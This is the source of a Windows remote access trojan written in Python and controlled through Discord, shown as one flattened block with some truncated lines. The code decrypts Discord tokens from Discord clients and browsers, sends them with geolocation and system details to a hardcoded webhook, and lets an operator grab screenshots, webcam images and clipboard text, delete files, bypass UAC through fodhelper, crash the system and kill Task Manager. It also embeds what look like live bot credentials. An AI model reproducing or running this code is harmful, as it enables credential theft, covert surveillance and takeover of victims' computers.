from discord_webhook import DiscordWebhook import discord, asyncio, os, requests, platform, socket, psutil, re, json, base64 from Crypto.Cipher import AES from discord.ext import commands from datetime import datetime from win32crypt import CryptUnprotectData from uuid import getnode as get_mac from json import loads, dumps TOKEN = 'MTEzNjk4MzU3OTQ3ODQ3ODg3MA.GK_sgl.o3h-k0htq9jf4aZseFcb88nHiBKLddIWBpGOzk' intents = discord.Intents.default() intents.message_content = True client = discord.Client(intents=intents) bot = commands.Bot(command_prefix='.', intents=intents) URL="https://discord.com/api/webhooks/1136980495285108757/L_Kk2aCE_7NkH10ce0gI5eubkfh63vGyEGsjndKmzphqFTVxrdq0tNTrMHA69S5NrmCn" def scale(bytes, suffix="B"): defined = 1024 for unit in ["", "K", "M", "G", "T", "P"]: if bytes < defined: return f"{bytes:.2f}{unit}{suffix}" bytes /= defined uname = platform.uname() bt = datetime.fromtimestamp(psutil.boot_time()) host = socket.gethostname() localip = socket.gethostbyname(host) publicip = requests.get('https://api.ipify.org').text city = requests.get(f'https://ipapi.co/{publicip}/city').text regi postal = requests.get(f'https://ipapi.co/{publicip}/postal').text timez currency = requests.get(f'https://ipapi.co/{publicip}/currency').text country = requests.get(f'https://ipapi.co/{publicip}/country_name').text callcode = requests.get(f"https://ipapi.co/{publicip}/country_calling_code").text vpn = requests.get('http://ip-api.com/json?fields=proxy') proxy = vpn.json()['proxy'] latitude = requests.get(f'https://ipapi.co/{publicip}/latitude').text l mac = get_mac() class token_log: def __init__(self) -> None: self.base_url = "https://discord.com/api/v9/users/@me" self.appdata = os.getenv("localappdata") self.roaming = os.getenv("appdata") self.regexp = r"[w-]{24}.[w-]{6}.[w-]{25,110}" self.regexp_enc = r"dQw4w9WgXcQ:[^"]*" self.tokens, self.uids = [], [] self.extract() def extract(self) -> None: print("Extracting tokens...") paths = { 'Discord': self.roaming + '\discord\Local Storage\leveldb\', 'Discord Canary': self.roaming + '\discordcanary\Local Storage\leveldb\', 'Lightcord': self.roaming + '\Lightcord\Local Storage\leveldb\', 'Discord PTB': self.roaming + '\discordptb\Local Storage\leveldb\', 'Opera': self.roaming + '\Opera Software\Opera Stable\Local Storage\leveldb\', 'Opera GX': self.roaming + '\Opera Software\Opera GX Stable\Local Storage\leveldb\', 'Amigo': self.appdata + '\Amigo\User Data\Local Storage\leveldb\', 'Torch': self.appdata + '\Torch\User Data\Local Storage\leveldb\', 'Kometa': self.appdata + '\Kometa\User Data\Local Storage\leveldb\', 'Orbitum': self.appdata + '\Orbitum\User Data\Local Storage\leveldb\', 'CentBrowser': self.appdata + '\CentBrowser\User Data\Local Storage\leveldb\', '7Star': self.appdata + '\7Star\7Star\User Data\Local Storage\leveldb\', 'Sputnik': self.appdata + '\Sputnik\Sputnik\User Data\Local Storage\leveldb\', 'Vivaldi': self.appdata + '\Vivaldi\User Data\Default\Local Storage\leveldb\', 'Chrome SxS': self.appdata + '\Google\Chrome SxS\User Data\Local Storage\leveldb\', 'Chrome': self.appdata + '\Google\Chrome\User Data\Default\Local Storage\leveldb\', 'Chrome1': self.appdata + '\Google\Chrome\User Data\Profile 1\Local Storage\leveldb\', 'Chrome2': self.appdata + '\Google\Chrome\User Data\Profile 2\Local Storage\leveldb\', 'Chrome3': self.appdata + '\Google\Chrome\User Data\Profile 3\Local Storage\leveldb\', 'Chrome4': self.appdata + '\Google\Chrome\User Data\Profile 4\Local Storage\leveldb\', 'Chrome5': self.appdata + '\Google\Chrome\User Data\Profile 5\Local Storage\leveldb\', 'Epic Privacy Browser': self.appdata + '\Epic Privacy Browser\User Data\Local Storage\leveldb\', 'Microsoft Edge': self.appdata + '\Microsoft\Edge\User Data\Default\Local Storage\leveldb\', 'Uran': self.appdata + '\uCozMedia\Uran\User Data\Default\Local Storage\leveldb\', 'Yandex': self.appdata + '\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb\', 'Brave': self.appdata + '\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb\', 'Iridium': self.appdata + '\Iridium\User Data\Default\Local Storage\leveldb\' } for name, path in paths.items(): if not os.path.exists(path): continue _discord = name.replace(" ", "").lower() if "cord" in path: if not os.path.exists(self.roaming+f'\{_discord}\Local State'): continue for file_name in os.listdir(path): if file_name[-3:] not in ["log", "ldb"]: continue for line in [x.strip() for x in open(f'{path}\{file_name}', errors='ignore').readlines() if x.strip()]: for y in re.findall(self.regexp_enc, line): token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[ 1]), self.get_master_key(self.roaming+f'\{_discord}\Local State')) if self.validate_token(token): uid = requests.get(self.base_url, headers={ 'Authorization': token}).json()['id'] if uid not in self.uids: self.tokens.append(token) self.uids.append(uid) else: for file_name in os.listdir(path): if file_name[-3:] not in ["log", "ldb"]: continue for line in [x.strip() for x in open(f'{path}\{file_name}', errors='ignore').readlines() if x.strip()]: for token in re.findall(self.regexp, line): if self.validate_token(token): uid = requests.get(self.base_url, headers={ 'Authorization': token}).json()['id'] if uid not in self.uids: self.tokens.append(token) self.uids.append(uid) if os.path.exists(self.roaming+"\Mozilla\Firefox\Profiles"): for path, _, files in os.walk(self.roaming+"\Mozilla\Firefox\Profiles"): for _file in files: if not _file.endswith('.sqlite'): continue for line in [x.strip() for x in open(f'{path}\{_file}', errors='ignore').readlines() if x.strip()]: for token in re.findall(self.regexp, line): if self.validate_token(token): uid = requests.get(self.base_url, headers={ 'Authorization': token}).json()['id'] if uid not in self.uids: self.tokens.append(token) self.uids.append(uid) def validate_token(self, token: str) -> bool: print("Validating tokens...") r = requests.get(self.base_url, headers={'Authorization': token}) if r.status_code == 200: return True return False def decrypt_val(self, buff: bytes, master_key: bytes) -> str: print("Decrypting tokens...") iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass def get_master_key(self, path: str) -> str: if not os.path.exists(path): return if 'os_crypt' not in open(path, 'r', encoding='utf-8').read(): return with open(path, "r", encoding="utf-8") as f: c = f.read() local_state = json.loads(c) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = master_key[5:] master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] return master_key tokens = token_log().tokens cpufreq = psutil.cpu_freq() svmem = psutil.virtual_memory() partitions = psutil.disk_partitions() disk_io = psutil.disk_io_counters() net_io = psutil.net_io_counters() partitions = psutil.disk_partitions() for partition in partitions: try: partition_usage = psutil.disk_usage(partition.mountpoint) except PermissionError: continue requests.post(URL, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}nLocal IP: {localip}nPublic IP: {publicip}nMAC Adress: {mac}nnCountry: {country} | {callcode} | {timezone}nregion: {region}nCity: {city} | {postal}nCurrency: {currency}nCoordinates: {latitude} {longitude}nnnn" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}nNode: {uname.node}nMachine: {uname.machine}nProcessor: {uname.processor}nnBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}nTotal Cores: {psutil.cpu_count(logical=True)}nnMax Frequency: {cpufreq.max:.2f}MhznMin Frequency: {cpufreq.min:.2f}MhznnTotal CPU usage: {psutil.cpu_percent()}n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}nAvailable: {scale(svmem.available)}nUsed: {scale(svmem.used)}nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}nUsed: {scale(partition_usage.used)}nFree: {scale(partition_usage.free)}nPercentage: {partition_usage.percent}%nnTotal read: {scale(disk_io.read_bytes)}nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}")nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {tokens}" } ] } ] }), headers={"Content-Type": "application/json"}) command_info = [ ".update", ".bsod", ".lock input", ".open ", ".upload ", ".message 'text'", ".del ", ".tokens", ".info", ".geolocate", ".net", ".self-destruct", ".cam", ".uac", ".ss", ".voice 'text'", ".admin", ".clipboard", ".wallpaper ", ".play ", ".kill ", ".website <link>", ".animan", ] channel_id = None @client.event async def on_ready(): print(f'Logged in as a {client.user}') import threading global stop_threads, thread, channel_id stop_threads = False thread = threading.Thread(target=between_callback, args=(client,)) thread.start() channel_name = str.lower(host) needed_guild_id = 1106247623276515428 needed_guild = client.get_guild(needed_guild_id) existing_channel = discord.utils.get(needed_guild.channels, name=channel_name) if existing_channel: print(f"A channel with the name '{channel_name}' exists in {needed_guild.name}!") channel_id = existing_channel.id target_channel = client.get_channel(1137025518215118928) await target_channel.send(f"Channel for this session is already existing: {existing_channel.mention}") else: print(f"No channel with the name '{channel_name}' exists in {needed_guild.name}.") new_channel = await needed_guild.create_text_channel(channel_name) channel_id = new_channel.id target_channel = client.get_channel(1137025518215118928) await target_channel.send(f"Created new channel for this session: {new_channel.mention}") def between_callback(client): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(activity(client)) loop.close() async def activity(client): print("Enabling system monitoring") import time import win32gui import win32process import psutil import subprocess def get_active_executable_name(): try: process_id = win32process.GetWindowThreadProcessId( win32gui.GetForegroundWindow() ) return ".".join(psutil.Process(process_id[-1]).name().split(".")[:-1]) except Exception as exception: return None print("Successfully injected!") while True: if get_active_executable_name() == "Taskmgr": subprocess.call(f"TASKKILL /F /IM main.exe") global stop_threads if stop_threads: break window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) game = discord.Game(f"Visiting: {window}") await client.change_presence(status=discord.Status.online, activity=game) time.sleep(1) @client.event async def on_message(message): if message.author == client.user: return if message.channel.id != channel_id: return if message.content.startswith(".update"): import bs4, requests, os response = requests.get(message.content[8:],headers={'User-Agent': 'Mozilla/5.0'}) soup = bs4.BeautifulSoup(response.text,'lxml') f = open("updated.py", "a") f.write(soup.body.get_text(' ', strip=True)) f.close() if message.content.startswith(".bsod"): from ctypes import windll from ctypes import c_int from ctypes import c_uint from ctypes import c_ulong from ctypes import POINTER from ctypes import byref nullptr = POINTER(c_int)() windll.ntdll.RtlAdjustPrivilege( c_uint(19), c_uint(1), c_uint(0), byref(c_int()) ) windll.ntdll.NtRaiseHardError( c_ulong(0xC000007B), c_ulong(0), nullptr, nullptr, c_uint(6), byref(c_uint()) ) if message.content.startswith(".upload"): await message.attachments[0].save(message.content[8:]) await message.channel.send("Uploaded the file you sent") if message.content.startswith(".lock input"): import pynput mouse_listener = pynput.mouse.Listener(suppress=True) mouse_listener.start() keyboard_listener = pynput.keyboard.Listener(suppress=True) keyboard_listener.start() if message.content.startswith(".message"): import ctypes import time MB_YESNO = 0x04 MB_HELP = 0x4000 ICON_STOP = 0x10 def mess(): ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box import threading messa = threading.Thread(target=mess) messa._running = True messa.daemon = True messa.start() import win32con import win32gui import time time.sleep(1) hwnd = win32gui.FindWindow(None, "Error") win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) #Put message to foreground win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) if message.content.startswith(".help"): embed=discord.Embed() help_message = "" for command in command_info: help_message += f"{command}n" embed.add_field(name="Available commands", value=help_message, inline=False) await message.channel.send(embed=embed) if message.content.startswith(".tokens"): await message.channel.send(tokens) if message.content.startswith(".net"): import netifaces as ni def get_network_information(): # Get a list of all network interfaces on the system interfaces = ni.interfaces() network_info = {} for interface in interfaces: addresses = ni.ifaddresses(interface) interface_info = {} # Get MAC address (Ethernet address) if ni.AF_LINK in addresses: mac_address = addresses[ni.AF_LINK][0]['addr'] interface_info['MAC Address'] = mac_address # Get IPv4 addresses if ni.AF_INET in addresses: ipv4_addresses = [addr['addr'] for addr in addresses[ni.AF_INET]] interface_info['IPv4 Addresses'] = ipv4_addresses # Get IPv4 netmasks ipv4_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET]] interface_info['IPv4 Netmasks'] = ipv4_netmasks # Get IPv4 broadcast addresses ipv4_broadcasts = [addr.get('broadcast', 'N/A') for addr in addresses[ni.AF_INET]] interface_info['IPv4 Broadcast Addresses'] = ipv4_broadcasts # Get IPv4 gateway addresses (if available) gateway_address = ni.gateways().get('default', {}).get(ni.AF_INET, 'N/A') interface_info['IPv4 Gateway'] = gateway_address # Get IPv6 addresses if ni.AF_INET6 in addresses: ipv6_addresses = [addr['addr'] for addr in addresses[ni.AF_INET6]] interface_info['IPv6 Addresses'] = ipv6_addresses # Get IPv6 netmasks ipv6_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET6]] interface_info['IPv6 Netmasks'] = ipv6_netmasks # Add more details as needed network_info[interface] = interface_info return network_info if __name__ == "__main__": network_info = get_network_information() message_content = "" for interface, info in network_info.items(): message_content += f"Interface: {interface}n" for key, value in info.items(): message_content += f"{key}: {value}n" message_content += "n" await message.channel.send(message_content) if message.content.startswith(".info"): import platform info = platform.uname() info_total = f'{info.system} {info.release} {info.machine}' await message.channel.send(f'{info_total} {publicip}') if message.content.startswith(".geolocate"): import urllib.request import json with urllib.request.urlopen("https://geolocation-db.com/json") as url: data = json.loads(url.read().decode()) link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}" await message.channel.send(link) if message.content.startswith(".self-destruct"): import shutil temp_dir = tempfile.mkdtemp() shutil.rmtree(temp_dir) subprocess.call(f"TASKKILL /F /IM main.exe") if message.content.startswith(".open"): import os path_to_file = message.content[5:] try: os.open(path_to_file) await message.channel.send("File has been opened") except FileNotFoundError: await message.channel.send("Could not open file") if message.content.startswith(".del"): import os path_to_file = message.content[5:] try: os.remove(path_to_file) await message.channel.send("File has been deleted") except FileNotFoundError: await message.channel.send("Could not delete file") if message.content.startswith(".cam"): import cv2, os def capture_and_save_image(file_path): # Initialize the camera camera = cv2.VideoCapture(0) # 0 represents the default camera # Check if the camera is opened correctly if not camera.isOpened(): print("Error: Unable to access the camera.") camera.release() return # Capture a single frame ret, frame = camera.read() if ret: # Save the captured frame to the file_path cv2.imwrite(file_path, frame) print(f"Image saved to {file_path}") else: print("Error: Unable to capture the image.") # Release the camera camera.release() if __name__ == "__main__": file_path = os.path.join(os.getenv('TEMP') + "\camera.jpg") capture_and_save_image(file_path) file = discord.File(os.path.join(os.getenv('TEMP') + "\camera.jpg"), filename="camera.jpg") await message.channel.send(file=file) os.remove(os.path.join(os.getenv('TEMP') + "\camera.jpg")) if message.content.startswith(".uac"): import os import sys import ctypes import winreg CMD = r"C:WindowsSystem32cmd.exe" FOD_HELPER = r'C:WindowsSystem32fodhelper.exe' PYTHON_CMD = "python" REG_PATH = 'SoftwareClassesms-settingsshellopencommand' DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_running_as_admin(): #Checks if the script is running with administrative privileges. #Returns True if is running as admin, False otherwise. try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_reg_key(key, value): #Creates a reg key try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) winreg.CloseKey(registry_key) except WindowsError: raise def bypass_uac(cmd): #Tries to bypass the UAC try: create_reg_key(DELEGATE_EXEC_REG_KEY, '') create_reg_key(None, cmd) except WindowsError: raise if not is_running_as_admin(): await message.channel.send('Trying to bypass the UAC') try: current_dir = os.path.dirname(os.path.realpath(__file__)) + '\' + __file__ cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir) bypass_uac(cmd) os.system(FOD_HELPER) sys.exit(0) except WindowsError: sys.exit(1) else: await message.channel.send('The script is running with administrative privileges!') if message.content.startswith(".ss"): import os from mss import mss with mss() as sct: sct.shot(output=os.path.join(os.getenv('TEMP') + "\monitor.png")) file = discord.File(os.path.join(os.getenv('TEMP') + "\monitor.png"), filename="monitor.png") await message.channel.send(file=file) os.remove(os.path.join(os.getenv('TEMP') + "\monitor.png")) if message.content.startswith(".voice"): import comtypes import win32com.client as wincl speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak(message.content[7:]) comtypes.CoUninitialize() await message.channel.send("Successfully played your voice message") if message.content.startswith(".admin"): import ctypes, os def admin(): try: is_admin = (os.getuid() == 0) except AttributeError: is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 return is_admin if admin(): await message.channel.send("You are an admin") else: await message.channel.send("You are not an admin") if message.content.startswith(".clipboard"): import ctypes import os CF_TEXT = 1 kernel32 = ctypes.windll.kernel32 kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] user32 = ctypes.windll.user32 user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard(0) if user32.IsClipboardFormatAvailable(CF_TEXT): data = user32.GetClipboardData(CF_TEXT) data_locked = kernel32.GlobalLock(data) text = ctypes.c_char_p(data_locked) value = text.value kernel32.GlobalUnlock(data_locked) body = value.decode() user32.CloseClipboard() await message.channel.send(f"Clipboard content is: {body}") if message.content.startswith(".website"): import webbrowser webbrowser.open(message.content[9:]) await message.channel.send("Website has been successfully opened") if message.content.startswith(".kill"): import subprocess subprocess.call(f"TASKKILL /F /IM {message.content[6:]}") await message.channel.send(subprocess.getoutput()) if message.content.startswith(".play"): from pygame import mixer import os, time path = os.path.join(os.getenv('TEMP') + "\music.mp3") await message.attachments[0].save(path) def play(path): mixer.init() mixer.music.load(path) mixer.music.play() while mixer.music.get_busy(): time.sleep(1) play(path) await message.channel.send("Stopped playing music") os.remove(os.path.join(os.getenv('TEMP') + "\music.mp3")) if message.content.startswith(".wallpaper"): import ctypes import os path = os.path.join(os.getenv('TEMP') + "\wallpaper.jpg") await message.attachments[0].save(path) ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0) await message.channel.send("Wallpaper has been set") os.remove(os.path.join(os.getenv('TEMP') + "\wallpaper.png")) if message.content.startswith(".animan"): import ctypes, os, time, tempfile, requests, zipfile path = os.path.join(tempfile.gettempdir(), 'frames') def download(url, folder): if not os.path.exists(folder): os.makedirs(folder) filename = url.split('/')[-1].replace(" ", "_") file_path = os.path.join(folder, filename) r = requests.get(url, stream=True) if r.ok: with open(file_path, 'wb') as f: for chunk in r.iter_content(1024 * 8): if chunk: f.write(chunk) f.flush() os.fsync(f.fileno()) else: print(f"Failed downloading status code: {r.status_code}n{r.text}") download("https://cdn.discordapp.com/attachments/1021529453186256986/1104325074602967091/animan.zip", path) with zipfile.ZipFile(f"{path}/animan.zip", 'r') as zip_ref: zip_ref.extractall(path) os.remove(f"{path}/animan.zip") await message.channel.send("Wallpaper has been set") while True: for i in range(1, 642): absolute_path = os.path.abspath(f"{path}/animan/frame ({i}).png") result = ctypes.windll.user32.SystemParametersInfoW(20, 0, absolute_path, 0) time.sleep(0.05) client.run(TOKEN)